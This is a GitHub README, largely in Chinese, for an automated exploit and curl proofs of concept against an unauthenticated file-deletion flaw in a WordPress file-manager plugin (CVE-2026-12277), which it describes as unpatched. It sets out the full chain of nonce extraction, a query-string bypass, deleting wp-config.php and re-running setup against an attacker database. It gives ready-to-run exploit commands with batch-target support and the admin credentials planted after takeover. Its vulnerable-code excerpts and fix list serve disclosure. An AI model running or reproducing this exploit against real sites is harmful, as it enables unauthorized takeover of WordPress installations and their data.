moritakaaz/CVE-2026-12277

GitHub: moritakaaz/CVE-2026-12277

该项目是针对 WordPress Frontend File Manager 插件未认证任意文件删除到 RCE 漏洞(CVE-2026-12277)的全自动利用工具与 PoC 集合。

Stars: 0 | Forks: 0

# CVE-2026-12277 **Frontend File Manager Plugin (WordPress) <= 23.6 - 未认证任意文件删除到 RCE** ## 摘要 | 字段 | 值 | |-------|-------| | CVE | CVE-2026-12277 | | 插件 | Frontend File Manager Plugin (nmedia-user-file-uploader) | | 受影响版本 | <= 23.6 | | 类型 | 未认证任意文件删除 | | CVSS | 8.7 (高危) | | CWE | CWE-73 (外部控制文件名或路径) | | 前置条件 | 启用访客上传模式 | | 补丁 | 无(截至 2026 年 7 月) | | 研究员 | Chamseddine Bouzaiene | ## 根本原因 该插件将上传的文件路径存储在 post 元数据 (`wpfm_dir_path`) 中。`wpfm_file_meta_update` AJAX endpoint: 1. **nonce 检查已被注释掉**(`files.php` 的 769-771 行) 2. 注册为 `nopriv`(无需认证即可访问) 3. `unset($_REQUEST['wpfm_dir_path'])` 防御机制可以通过 PHP 的 `request_order` 特性绕过(通过 query string 发送) 当 `wpfm_delete_file` 被调用时,它会从 post meta 中读取 `wpfm_dir_path` 并调用 `unlink()`,且没有任何路径验证。 ### 易受攻击的 Endpoints | AJAX Action | 需要 Nonce | 需要认证 | nopriv | |-------------|---------------|---------------|--------| | `wpfm_file_meta_update` | **否**(已注释) | 否 | 是(总是) | | `wpfm_delete_file` | 是 | 否 | 是(总是) | | `wpfm_upload_file` | 是 | 否 | 是(如果开启访客上传) | ## 漏洞利用链 ``` 1. Detect plugin + guest upload enabled 2. Auto-extract AJAX nonce from frontend page (hidden input field) 3. Upload file as guest OR bruteforce existing post ID 4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php 5. Trigger wpfm_delete_file → unlink(wp-config.php) 6. WordPress enters setup mode (setup-config.php) 7. Complete setup with attacker-controlled database 8. Login as admin → full takeover ``` ## 文件 | 文件 | 描述 | |------|-------------| | `exploit.py` | 完整的 Python exploit(检测 → 利用 → 接管) | | `poc_curl.sh` | Bash/curl PoC (Linux) | | `poc_curl.ps1` | PowerShell/curl PoC (Windows) | | `lists.txt` | 目标 URL(每行一个,用于批量模式) | | `requirements.txt` | Python 依赖项 | ## 用法 ### Python Exploit(全自动) ``` # 安装依赖 pip install -r requirements.txt # 全自动 exploit (自动检测 nonce) python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root # 仅检测 python exploit.py -u http://target.com --detect-only # 使用手动 nonce (如果自动检测失败) python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4 # 使用 Burp proxy python exploit.py -u http://target.com --proxy http://127.0.0.1:8080 # 自定义 attacker DB 配置 python exploit.py -u http://target.com \ -p /var/www/html/wp-config.php \ --dbname pwned_db \ --dbuser root \ --dbpass secret \ --dbhost localhost ``` ### 漏洞利用后 - 登录 漏洞利用成功后,登录到 WordPress 后台: ``` URL: http://target.com/wp-login.php Username: shac1x Password: Sh4c1x_Pwn3d! ``` ### curl PoC (Bash) ``` bash poc_curl.sh http://target.com ``` ### curl PoC (PowerShell) ``` .\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload" ``` ## 参数 | 参数 | 必需 | 描述 | |----------|----------|-------------| | `-u, --url` | 是 | 目标 WordPress URL | | `-p, --path` | 否 | 服务器上 wp-config.php 的绝对路径 | | `--nonce` | 否 | AJAX nonce(跳过自动提取) | | `--dbname` | 否 | 攻击者数据库名(默认:`wp_pwned`) | | `--dbuser` | 否 | 攻击者数据库用户(默认:`root`) | | `--dbpass` | 否 | 攻击者数据库密码 | | `--dbhost` | 否 | 攻击者数据库主机(默认:`localhost`) | | `--proxy` | 否 | HTTP 代理(例如,`http://127.0.0.1:8080`) | | `--timeout` | 否 | 请求超时时间(秒)(默认:15) | | `--detect-only` | 否 | 仅检测漏洞,不进行利用 | ## Nonce 自动提取的工作原理 exploit 会在以下位置自动搜索 `wpfm_ajax_nonce`: 1. 常见页面 slug:`/file-manager/`、`/upload/`、`/files/`、`/file-upload/` 等。 2. 直接访问文件:`/file-manager.php` 3. 在主页上找到的所有内部链接(爬取) 4. WP REST API (`/wp-json/`) nonce 会作为隐藏的 input 字段出现: ``` ``` 或者在本地化的 JavaScript 中: ``` var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"}; ``` ## 路径绕过技术 代码通过执行 `unset($_REQUEST['wpfm_dir_path'])` 来防止直接覆盖。绕过方法如下: 1. **Query string 注入**:通过 URL query 参数发送 `wpfm_dir_path`,同时其他数据通过 POST body 发送。PHP 的 `$_REQUEST` 合并行为允许该值根据 `request_order` 配置继续保留。 2. **在上传流程中预设**:`wpfm_dir_path` meta 是在初始的文件上传 hooks 期间设置的。如果在该阶段进行利用,则无需绕过。 ## 已测试环境 | 组件 | 版本 | |-----------|---------| | WordPress | 6.9.4 | | PHP | 8.2.12 | | 插件 | Frontend File Manager 23.6 | | 操作系统 | Windows (XAMPP) / Linux | | 结果 | **已确认完全接管** | ## 易受攻击的代码参考 ### Nonce 已禁用 (`inc/files.php:769-771`) ``` /*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) { wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm")); }*/ ``` ### 任意 Meta 写入 (`inc/files.php:787-795`) ``` $meta_fields = $_REQUEST; foreach ($meta_fields as $meta_key => $meta_value) { update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value)); } ``` ### 授权绕过 (`inc/files.php:690-693`) ``` $allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false; if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) { wp_send_json_error(__("Sorry, not allowed", "wpfm")); } // When guest upload ON → !$allow_guest = false → entire check SKIPPED ``` ### 未经校验的删除 (`inc/file.class.php:729-753`) ``` function delete_file_locally() { $file_path = $this->path; // from wpfm_dir_path meta - NO VALIDATION if (file_exists($file_path)) { unlink($file_path); // ARBITRARY FILE DELETION } } ``` ### 路径解析 (`inc/file.class.php:172-184`) ``` function path() { $file_dir_path = null; if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) { $file_dir_path = $this->legacy->path(); // fallback: upload_dir + wpfm_file_name } if( ! is_file($file_dir_path) ) { $file_dir_path = null; } return $file_dir_path; // NO canonicalization, NO realpath check } ``` ## 修复方案 - 取消 `wpfm_file_meta_update` 中 nonce 验证的注释 - 使用 `realpath()` 加前缀检查,对照上传目录验证 `wpfm_dir_path` - 绝不要在文件删除路径中允许用户可控的输入 - 添加独立于访客上传设置的适当授权检查 ## 免责声明 本工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统是违法行为。在测试前,请务必获得书面许可。
标签:AI合规, CISA项目, Web报告查看器, WordPress插件, 安全漏洞, 应用安全, 文件删除, 编程工具, 远程代码执行, 逆向工具